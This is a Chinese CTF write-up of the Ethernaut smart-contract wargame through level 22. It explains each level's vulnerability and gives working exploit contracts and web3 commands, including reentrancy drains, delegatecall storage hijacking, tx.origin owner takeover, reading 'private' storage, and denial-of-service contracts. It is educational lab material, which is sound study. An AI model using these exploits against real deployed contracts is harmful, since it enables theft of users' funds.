Ethernaut WriteUp 更新到22题 Shop

网上有几篇WP了,但是有的题目短缺,有的不够详细,有的POC,MagicNumber题目更新后是过不了的~~虽说我这里也不可能做到最详细,但是综合起来看的话,应该会好一些。下面是本篇WP参考到的文章,感谢。

Zeppelin Ethernaut writeup - MitAh's Blog (更新到22题)

Zeppelin ethernaut writeup - Bendawang's site (更新到22题)

智能合约CTF:Ethernaut Writeup Part 3 更新到18题

Ethernaut Zeppelin 学习 - 么哈么哈 更新到18题

Zeppelin Ethernaut writeup - MitAh 更新到15题

Hello Ethernaut

考察知识点

  1. 设置MetaMask来使用Ropsten测试网络。
  2. 通过contract.abi查看到所有可用函数

解题过程

await contract.info()
// "You will find what you need in info1()."
await contract.info1()
// "Try info2(), but with "hello" as a parameter."
await contract.info2('hello')
// "The property infoNum holds the number of the next info method to call."
await contract.infoNum()
// 42
await contract.info42()
// "theMethodName is the name of the next method."
await contract.theMethodName()
// "The method name is method7123949."
await contract.method7123949()
// "If you know the password, submit it to authenticate()."
await contract.password()
// "ethernaut0"
await contract.authenticate('ethernaut0')

FallBack

考察知识点

  1. 用于理解fallback函数的题目,

    我本来以为是重入漏洞,其实就是调用一下fallback函数就好。

    fallback函数就是那个没有名称的函数,每当合约收到以太币时(没有数据),这个函数就会执行

  2. Ownable.sol的理解

  3. 旧版的solidity,构造函数的声明不是使用constructor(),而是使用同名函数,所以名为Fallback的函数是构造函数,不要认错。

解题过程

//保证在执行FallBack函数时,能通过contributions[msg.sender] > 0的校验
await contract.contribute({value:1})  
//通过转账调用Fallback函数。
await contract.sendTransaction({value:1}) 或者 用MetaMask的发送功能。
//转走合约的钱。
await contract.withdraw()

Fallout

考察知识点

  1. 构造函数写法(旧版本0.4.x)

解题流程

构造函数..的名字是fal1out,所以说他不是构造函数...

调用它就可以获得owner权限了。

所以新版本slidity推荐这样写了

    constructor() public {
    owner = msg.sender;
    }

这样不必须要和合约名相同名称

相关影响

https://paper.seebug.org/630/

CoinFlip

考察知识点

  1. 随机数安全

解题流程

主要考察的是,用Block的相关值当随机数验证,会有严重的安全问题。

这次就必须要用到Remix在线IDE了。

block.blockhash实际上已经被废弃了,不过测试还是没问题的,注意选择好编译器版本。(新的是blockhash)

部署环境Environment选择Injected Web3

image.png

poc如下:

pragma solidity >=0.4.18 <0.6.0;

import "./CoinFlip.sol";

contract CoinFlipPoc {
  CoinFlip expFlip;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
 
  function CoinFlipPoc(address aimAddr) public {
    expFlip = CoinFlip(aimAddr);
  }
 
  function hack() public {
    uint256 blockValue = uint256(block.blockhash(block.number-1));
    uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
    bool guess = coinFlip == 1 ? true : false;
    expFlip.flip(guess);
  }
}

其实就是抄的网上的poc,因为要等这个区块完成后,才能执行一次。因为源代码里判断了

if (lastHash == blockValue) { revert(); }

所以不能用for循环的。要自己点10次hack了,中途还可能遇到error的情况 hhh。

c数组的第一个值就是consecutiveWins的值了。状态变量,不和用户绑定的。所以发起攻击的合约地址是无所谓的。

poc2

let blockHash = function() {
  return new Promise(
    (resolve, reject) => web3.eth.getBlock('latest', (error, result) => {
      if(!error)
          resolve(result['hash']);
      else
          reject(error);
    })
  );
}

contract.flip(parseInt((await blockHash())[2], 16) > 8)

Telephone

考察知识点

tx.origin

解题流程

让msg.sender与tx.origin不相同即可,使用合约就可以实现。

  • tx.origin 是交易的发送方。
  • msg.sender 是消息的发送方。
pragma solidity >=0.4.18 <0.6.0;

import "./Telephone.sol";

contract TelephonePoc {
    
    Telephone phone;
    
    function TelephonePoc(address aimAddr) public {
        phone = Telephone(aimAddr);
    }
    
    function attack(address _owner) public{
        phone.changeOwner(_owner);
    }
}

await contract.owner() 可以看当前的owner。

可被用于钓鱼。

Token

考察知识点

  1. 整数溢出

解题流程

因为是uint的,负数就直接是下溢了。

转账地址随便填就行,只要不是自己就行,否则就加一次减一次回来了。

查看自己的余额(await contract.balanceOf(player)).toNumber()

Delegation

考察知识点

  1. delegatecall的理解、其调用方式是通过函数名hash后的前4个bytes来确定调用函数的。
  2. delegatecall与call的区别。

解题流程

题目要求也是获取owner权限。

可以看到Delegate合约中 pwn()函数就能修改owner。我们只要想办法在Delegation中调用即可。

PS: 注意delegatecall与call不同,他的上下文是调用合约,即相当于代码重用,会修改调用合约中的变量。所以我们的攻击才能奏效。

//sha3的返回值前两个为0x,所以要切0-10个字符。
contract.sendTransaction({data: web3.sha3("pwn()").slice(0,10)});

Force

考察知识点

  1. 强行将以太币置入合约的相关方式:1. 通过自毁、2. 创建前预先发送Ether、3. 为其挖矿。

解题流程

目标是使合同余额大于零。

  1. 使用自毁的方式

    pragma solidity ^0.4.18;
    
    contract Force {
        function ForceSendEther(address _addr) payable public{
            selfdestruct(_addr);
        }
    }
    

    ​ 给自己的合约发送一些ether、调用ForceSendEther,通过自毁,将ether强行发送到另一个合约。

    确保Remix的环境是在Injected Web3下。

    查询余额的方式:(await getBalance(instance)).toNumber()

第二种方式是通过提前算出合约地址然后发送Ether的方式。

address(keccak256(0xd6, 0x94, _from, nonce))

第三种是直接为其挖矿。这里二三种方式就不做尝试了。

Vault

考察知识点

  1. 合约中的所有内容对所有外部观察者都是可见的。私有只会阻止其他合约访问和修改信息。

解题过程

这里给出两个网上的payload。

web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(web3.toAscii(y))});
function getStorageAt (address, idx) {
  return new Promise (function (resolve, reject) {
    web3.eth.getStorageAt(address, idx, function (error, result) {
      if (error) {
        reject(error);
      } else {
        resolve(result);
      }
    })
})}

await getStorageAt(instance, 1);

得到密码”A very strong secret password :)“

调用contract.unlock("A very strong secret password :)")即可。

通关后推荐我们使用zkSNARKs来保证安全。

King

考察知识点

  1. transfer() 调用失败时会回滚状态,那么如果合约在这一步骤一直调用失败的话,代码将无法继续向下运行.

解题过程

!!失败了很多次...做到下一道题的时候才发现是OOG,Gas给少了,多给点就过了...毕竟测试网络大家都是土豪 Orz。 可以参考我的另一篇文章solidity合约审计 - Out of gas的处理办法

transfer() 调用失败时会回滚状态,那么如果合约在退钱这一步骤一直调用失败的话,代码将无法继续向下运行,其他人就无法成为新的 King。

pragma solidity ^0.4.18;

contract Attack {
    address instance_address = instance_address_here;

    function Attack() payable{}

    function hack() public {
        instance_address.call.value(1.1 ether)();
    }

    function () public {
        revert();
    }
}

似乎也可以这样写。

contract.sendTransaction({value: toWei(1.01)})

给了两个实际案例

King of the Ether and King of the Ether Postmortem

Re-entrancy

考察知识点

  1. 重入攻击

解题过程

POC如下:

pragma solidity ^0.4.18;

contract Reentrance {

  mapping(address => uint) public balances;

  function donate(address _to) public payable;
  function balanceOf(address _who) public view returns (uint balance);
  function withdraw(uint _amount) public;
  function() public payable {}
}

contract ReentrancePoc {

    Reentrance reInstance;
    
    function getEther() public {
        msg.sender.transfer(address(this).balance);
    }
    
    function ReentrancePoc(address _addr) public{
        reInstance = Reentrance(_addr);
    }
    function callDonate() public payable{
        reInstance.donate.value(msg.value)(this);
    }

    function attack() public {
        reInstance.withdraw(1 ether);
    }

  function() public payable {
      if(address(reInstance).balance >= 1 ether){
        reInstance.withdraw(1 ether);
      }
  }
}

先调用callDonate,然后attack,就会重入到fallback函数中了。直到合约的余额为0。

具体原理,网上分析的很多,就不赘述了。

这里一直遇到了OOG问题,即Out of gas。在本地测试不会遇到。这是因为默认的Gas设置不能满足重入的需求,可以手动修改gas的量。如图

image.png

顺便一提,本体其实还有整数下溢的问题。

通过下述代码查看账户余额。

fromWei(await contract.balanceOf(""))

await getBalance(contract.address)查看合约总余额。为0,则代表通关。

Elevator

考察知识点

  1. 函数即使被修饰了pure、view等修饰符,虽然会有警告,但还是可以修改状态变量的。

解题过程

理解了知识点后,就很好做了,第一次返回false第二次返回true即可。

pragma solidity ^0.4.18;

contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public;
}

contract BuildingPoc {

    Elevator ele;
    bool t = true;

    function isLastFloor(uint) view public returns (bool){
        t = !t;
        return t;
    }
    
    function attack(address _addr) public{
        ele = Elevator(_addr);
        ele.goTo(5);
    }
}

通关后,题目给出了也可以使用gasleft的方式进行完成。这里就不做测试了。

Privacy

考察知识点

  1. 内部存储结构
  2. web3 api的使用。

解题过程

要求解锁 locked 就可以了,那很简单,直接利用 web3 的 api,web3.eth.getStorageAt就可以,依次获取

web3.eth.getStorageAt("0x605d336f17fc3a2e50e3f290977525a0f6a5fcc0", 0,function(x,y){console.info(y);})
0x000000000000000000000000000000000000000000000000000000d80cff0a01
web3.eth.getStorageAt("0x605d336f17fc3a2e50e3f290977525a0f6a5fcc0", 1,function(x,y){console.info(y);})
0x47dac1a874d4d1f852075da0347307d6fcfef2a6ca6804ffda7b54e02df5c359
web3.eth.getStorageAt("0x605d336f17fc3a2e50e3f290977525a0f6a5fcc0", 2,function(x,y){console.info(y);})
0x06080b7822355f604ab68183a2f2a88e2b5be84a34e590605503cf17aec66668
web3.eth.getStorageAt("0x605d336f17fc3a2e50e3f290977525a0f6a5fcc0", 3,function(x,y){console.info(y);})
0xd42c0162aa0829887dbd2741259c97ca54fb1a26da7098de6a3697d6c4663b93
web3.eth.getStorageAt("0x605d336f17fc3a2e50e3f290977525a0f6a5fcc0", 4,function(x,y){console.info(y);})
0x0000000000000000000000000000000000000000000000000000000000000000
....

根据 solidity 文档中的变量存储原则,evm 每一次处理 32 个字节,而不足 32 字节的变量相互共享并补齐 32 字节。
那么我们简单分析下题目中的变量们:

bool public locked = true;  //1 字节 01
uint256 public constant ID = block.timestamp; //32 字节
uint8 private flattening = 10; //1 字节 0a
uint8 private denomination = 255;//1 字节 ff
uint16 private awkwardness = uint16(now);//2 字节

bytes32[3] private data;

那么第一个 32 字节就是由lockedflatteningdenominationawkwardness组成,另外由于常量是无需存储的,所以从第二个 32 字节起就是 data。
那么 data[2] 就是0xd42c0162aa0829887dbd2741259c97ca54fb1a26da7098de6a3697d6c4663b93
注意这里进行了强制类型转换将 data[2] 转换成了 bytes16,那么我们取前 16 字节即可。
执行 unlock 即可。

参考文章:

https://medium.com/aigang-network/how-to-read-ethereum-contract-storage-44252c8af925

https://blog.csdn.net/Blockchain_lemon/article/details/79308137

Gatekeeper One

考察知识点

  1. 类型转换的理解
  2. solidity调试(最好看懂一点机器码)
  3. etherscan的熟练使用。
  4. tx.origin的理解

解题过程

gateOne和之前的一样,这里就不赘述了。用合约来就能完成这个任务。

编译器版本:v0.4.18+commit.9cf6e910

image.png

保证执行完Gas命令后剩余8191的整数倍。我这里使用的是819315。

https://ropsten.etherscan.io/vmtrace?txhash= 这里可以看到测试网络的指令

我以tx.origin=0x566f6e07f13ed2b092fc2fbe95aaf5e7f558efbf 为例

为了满足uint32(_gateKey) == uint16(tx.origin);。

uint16(tx.origin)的值最后4个字节,即0xefbf

bytes8 相当于uint64,bytes应该是为了兼容Utf-8吧,采用的是宽字节。

所以第一个条件,uint32(_gateKey) == uint16(_gateKey);

构造即为0x0000efbf,即前16位为0.

再看第二个条件, uint32(_gateKey) != uint64(_gateKey);

其实就是前半部分只要不是0就行。否则两个的值就一样了。

一个可用的:

0x000000010000efbf

最终

pragma solidity ^0.4.18;

import "./GatekeeperOne.sol";

contract GatekeeperOnePoc {
    
    GatekeeperOne one;
    
    function GatekeeperOnePoc(address _addr) public{
        one = GatekeeperOne(_addr);
    }
    
    function attack() public{
        one.call.gas(819315)(bytes4(keccak256("enter(bytes8)")), bytes8(0x000010000000733c));
    }
}

传参的时候,要自己转一下bytes8,要不然会有问题...我猜是uint256去转了。这块花费了太长时间了,就不扣这块了。

Gatekeeper Two

考察知识点

  1. 位运算
  2. sodility汇编-extcodesize

解题过程

gateOne 跟上一关一样,需要利用合约进行攻击。

gateTwo 中 extcodesize 用来获取指定地址的合约代码大小。这里使用的是内联汇编,来获取调用方(caller)的代码大小,一般来说,caller 为合约时,获取的大小为合约字节码大小,caller 为账户时,获取的大小为 0 。

条件为调用方代码大小为 0 ,但这又与 gateOne 冲突了。经过研究发现,当合约在初始化,还未完全创建时,代码大小是可以为0的。因此,我们需要把攻击合约的调用操作写在 constructor 构造函数中。

第二点,这里判断的是msg.sender,所以要在代码里进行实时计算。异或的特性就是异或两次就是原数据。所以将sender和FFFFFFFFFFFFFFFF进行异或的值就是我们想要的。

Poc如下:

pragma solidity ^0.4.18;

import "./GatekeeperTwo.sol";

contract GatekeeperTwoPoc {
    
     uint64 public mask = 0xFFFFFFFFFFFFFFFF;
    
    function GatekeeperTwoPoc(address _addr){
        GatekeeperTwo target = GatekeeperTwo(_addr);
        uint64 res =  uint64(keccak256(this)) ^ mask;
        //  target.call.gas(100000)(bytes4(sha3("enter(bytes8)")),bytes8(res));
        target.enter(bytes8(res));
    }
    
    function Test(bytes8 _gateKey) public view returns(bytes8 a,uint64 b,uint64 c,uint64 d,bool flag,uint64 res){
        a = bytes8(0x35CA4826EABA710A);
        b = uint64(keccak256(msg.sender));
        c = uint64(_gateKey);
        d = uint64(a);
        flag = uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1;
        res =  uint64(keccak256(this)) ^ mask;
        }
}

Naught Coin

考察知识点

  1. ERC20

解题过程

熟悉ERC20就不难,Copy一段WP:

既然子合约没有什么问题,那我们看看 import 的父合约
StandardToken.sol,其其实根据 ERC20 的标准我们也知道,转账有两个函数,一个transfer一个transferFrom,题目中代码只重写了transfer函数,那未重写transferFrom就是一个可利用的点了。直接看看StandardToken.sol代码:

 contract StandardToken {
    using ERC20Lib for ERC20Lib.TokenStorage;
    ERC20Lib.TokenStorage token;
    ...
    function transfer(address to, uint value) returns (bool ok) {
         return token.transfer(to, value);
       }

    function transferFrom(address from, address to, uint value) returns (bool ok) {
         return token.transferFrom(from, to, value);
       }
    ...
}

跟进ERC20Lib.sol

library ERC20Lib {
    ...
    function transfer(TokenStorage storage self, address _to, uint _value) returns (bool success) {
        self.balances[msg.sender] = self.balances[msg.sender].minus(_value);
        self.balances[_to] = self.balances[_to].plus(_value);
        Transfer(msg.sender, _to, _value);
        return true;
    }

    function transferFrom(TokenStorage storage self, address _from, address _to, uint _value) returns (bool success) {
        var _allowance = self.allowed[_from](msg.sender);

        self.balances[_to] = self.balances[_to].plus(_value);
        self.balances[_from] = self.balances[_from].minus(_value);
        self.allowed[_from](msg.sender) = _allowance.minus(_value);
        Transfer(_from, _to, _value);
        return true;
    }
    ...
    function approve(TokenStorage storage self, address _spender, uint _value) returns (bool success) {
        self.allowed[msg.sender](_spender) = _value;
        Approval(msg.sender, _spender, _value);
        return true;
    }

}

可以直接调用这个transferFrom即可了。但是transferFrom有一步权限验证,要验证这个msg.sender是否被_from(实际上在这里的情景的就是自己是否给自己授权了),那么我们同时还可以调用 approve 给自己授权。

POC如下:

await contract.approve(player,toWei(1000000))
await contract.transferFrom(player,contract.address,toWei(1000000))

await contract.balanceOf(player) 可以看账户余额。

Preservation

考察知识点

  1. delegatecall
  2. storage 变量的存储与访问
  3. 类型转换

解题过程

这里就是主要利用delegatecall函数的特性,先介绍下:
delegatecall 用来调用其他合约、库的函数,比如 a 合约中调用 b 合约的函数,执行该函数使用的 storage 是 a 的。举个例子:

contract a{
    uint public x1;
    uint public x2;

    function funca(address param){
        param.delegate(bytes4(keccak256("funcb()")));
    }
}
contract b{
    uint public y1;
    uint public y2;

    function funcb(){
        y1=1;
        y2=2;
    }
}

上述合约中,一旦在 a 中调用了 b 的funcb函数,那么对应 a 中 x1 就会等于,x2 就会等于 2。

在这个过程中实际 b 合约的funcb函数是把 storage 里面的slot 1的值更换为了 1,把slot 2的值更换为了 2,那么由于 delegatecall 的原因这里修改的是 a 的 storage,对应就是修改了 x1,x2。

所以这个题就很好办了,我们调用PreservationsetFirstTime函数时候实际通过 delegatecall 执行了LibraryContractsetTime函数,修改了slot 1,也就是修改了timeZone1Library变量。
这样,我们第一次调用setFirstTimetimeZone1Library变量修改为我们的恶意合约的地址,第二次调用setFirstTime就可以执行我们的任意代码了。

POC如下:

pragma solidity ^0.4.23;

contract PreservationPoc {
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  
  function setTime(uint _time) public {
    owner = address(_time);
  }
}

await contract.setSecondTime(恶意合约地址)

await contract.setFirstTime(player地址)

记得加引号。

函数中的局部变量默认为存储或内存,具体取决于其类型。未初始化的本地存储变量可以指向合约中的其他意外存储变量,从而导致故意(即开发人员故意将它们放在那里进行攻击)或无意的漏洞。

Locked

考察知识点

  1. 使用未初始化的存储器局部变量导致的漏洞

解题过程

copy一段解释:

为了讨论这个漏洞,首先我们需要了解存储(Storage)在 Solidity 中的工作方式。作为一个高度抽象的概述(没有任何适当的技术细节——我建议阅读 Solidity 文档以进行适当的审查),状态变量按它们出现在合约中的顺序存储在合约的 Slot 中(它们可以被组合在一起,但在本例中不可以,所以我们不用担心)。因此, unlocked 存在 slot 0 中, registeredNameRecord 存在 slot 1 中, resolveslot 2 中,等等。这些 slot 的大小是 32 字节(映射会让事情更加复杂,但我们暂时忽略)。如果 unlockedfalse ,其布尔值看起来会是 0x000...0(64 个 0,不包括 0x );如果是 true ,则其布尔值会是 0x000...1 (63 个 0)。正如你所看到的,在这个特殊的例子中,存储上存在着很大的浪费。

我们需要的另一部分知识,是 Solidity 会在将复杂的数据类型,比如 structs ,初始化为局部变量时,默认使用 storage 来存储。因此,在 [16] 行中的 newRecord 默认为storage。合约的漏洞是由 newRecord 未初始化导致的。由于它默认为 storage,因此它成为指向 storage 的指针;并且由于它未初始化,它指向 slot 0(即 unlocked 的存储位置)。请注意,[17] 行和[18] 行中,我们将 _name 设为 nameRecord.name 、将 _mappedAddress 设为 nameRecord.mappedAddress 的操作,实际上改变了 slot 0 和 slot 1 的存储位置,也就是改变了 unlocked 和与 registeredNameRecord 相关联的 slot。

这意味着我们可以通过 register() 函数的 bytes32 _name 参数直接修改 unlocked 。因此,如果 _name 的最后一个字节为非零,它将修改 slot 0 的最后一个字节并直接将 unlocked 转为 true 。就在我们将 unlocked 设置为 true 之时,这样的 _name 值将传入 [23] 行的 require() 函数。在Remix中试试这个。注意如果你的 _name 使用下面形式,函数会通过: 0x0000000000000000000000000000000000000000000000000000000000000001

Recovery

考察知识点

  1. 区块链上一切都是透明的,即使弄丢了 Token 地址,也可以从区块中根据交易记录找回。
  2. 通过 selfdestruct 指令可以销毁某个 Token 并将剩余的以太转移到某一账户中去

解题过程

使用Instance的地址通过Etherscan可以查到SimpleToken 的地址。

然后可以编写一个简单的Poc,调用destroy即可。

POC如下:

pragma solidity ^0.4.23;

contract SimpleToken {

  // public variables
  string public name;
  mapping (address => uint) public balances;

  // collect ether in return for tokens
  function() public payable ;

  // allow transfers of tokens
  function transfer(address _to, uint _amount) public ;

  // clean up after ourselves
  function destroy(address _to) public ;
}

contract RecoveryPoc {
    SimpleToken target;
    constructor(address _addr) public{
        target = SimpleToken(_addr);
    }

    function attack() public{
        target.destroy(tx.origin);
    }
    
}

,应该还可以使用Remix的At Address直接操控已经在链上的合约。(我这边不知道为什么js报错了)

调用成功后,可以发现合约已经被销毁了。

甚至还可以手动计算地址。

public a = address(keccak256(0xd6,0x94,YOUR_ADDR,0x01));

参考链接:

https://medium.com/coinmonks/ethernaut-lvl-18-recovery-walkthrough-how-to-retrieve-lost-contract-addresses-in-2-ways-aba54ab167d3

MagicNumber

考察知识点

  1. EVM汇编
  2. 使用opcode创建合约
  3. 生命的意义

解题过程

参考资料:

https://www.jianshu.com/p/d9137e87c9d3

https://medium.com/coinmonks/ethernaut-lvl-19-magicnumber-walkthrough-how-to-deploy-contracts-using-raw-assembly-opcodes-c50edb0f71a2

42的来源

https://baike.baidu.com/item/42/16630643?fr=aladdin

有些复杂.... 请参考上述资料

POC如下:

var bytecode = "0x600a600c600039600a6000f3602A60805260206080f3";
web3.eth.sendTransaction({ from: player, data: bytecode }, function(err,res){console.log(res)});
await contract.setSolver("contract address");

网上的POC,似乎都是return的66,即0x42。

应该是return 0x2a才对。

之前他们能AC,是合约不严谨,但现在这个问题已经被修复了。

Alien Codex

考察知识点

  1. EVM汇编、abi等
  2. 合约是如何从零创建的
  3. OOB (out of boundary) Attack

解题过程

这个题也比较复杂,要比较清楚内部实现才可以。

POC

sig = web3.sha3("make_contact(bytes32[])").slice(0,10)
// "0x1d3d4c0b"
// 函数选择器
data1 = "0000000000000000000000000000000000000000000000000000000000000020"
// 除去函数选择器,数组长度的存储从第 0x20 位开始
data2 = "1000000000000000000000000000000000000000000000000000000000000001"
// 数组的长度
await contract.contact()
// false
contract.sendTransaction({data: sig + data1 + data2});
// 发送交易
await contract.contact()
// true、


await contract.retract()


因为数组计算存储位是通过这个公式计算的。slot是数组所在的存储位

keccak256(slot) + index

可参考

https://segmentfault.com/a/1190000013791133

https://www.anquanke.com/post/id/153375#h3-9

数组计算也会返回一个uint256,所以也能构成溢出。

计算方式 想要定位到的位置 x

x == keccak256(slot) + (2^256 - keccak256(slot) ) + x == 2^256 + x

因为溢出的缘故,2^256 +x == x。

所以我们传一个下标为(2^256 - keccak256(slot) ) + x的值就可以定位到任意存储位了。

x=0时,slot等于1时

这个位置为

0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a

然后记得把40位地址补齐为64位的。具体原因看文章,很详细了。

http://www.bendawang.site/2018/11/13/Zeppelin-ethernaut-writeup/

https://xz.aliyun.com/t/2914

Denial

考察知识点

  1. 重入
  2. assert失败后会耗费所有Gas

解题过程

明显重入是可以的,不过重入计算balance的时候,这个balance是被更新了的,很难取出全部的。

POC如下:

contract DenialPoc{
    
    Denial target;
    
    constructor(address _addr) public {
         target = Denial(_addr);
    }
    
    function () payable public {
        target.withdraw();
    } 
}

这个题的本意是说,你取到钱,Partner取不到即可,下面这个POC,应该也可以:

contract attack{
    function() payable{
        assert(0==1);
    }
}

Shop

考察知识点

  1. 低gas的使两次返回值不同。

解题过程

要求是修改 price 低于 100,

那就第一次返回大于100,第二次返回小于100。

不能使用状态变量,否则会超出gas限制。

我抱着试一试的态度,写了下面的POC,没想到成功了,主要是不知道能否实时获取到isSold变量的变化。竟然是可以的,这里的原理就还需要细究了,应该是没有从链上读的,毕竟,这个交易都还没有完成。

contract ShopPoc{
    
    Shop target;
    
    function attack(address _addr) public{
        target = Shop(_addr);
        target.buy();
    }
    
    function price() external view returns (uint){
        if (target.isSold() == true){
            return 99;
        }
        return 102;
    }
}

完成~~
可喜可贺~


毕竟是在公司完成的,版权所有:成都链安。

你可能感兴趣的:(Ethernaut WriteUp 更新到22题 Shop)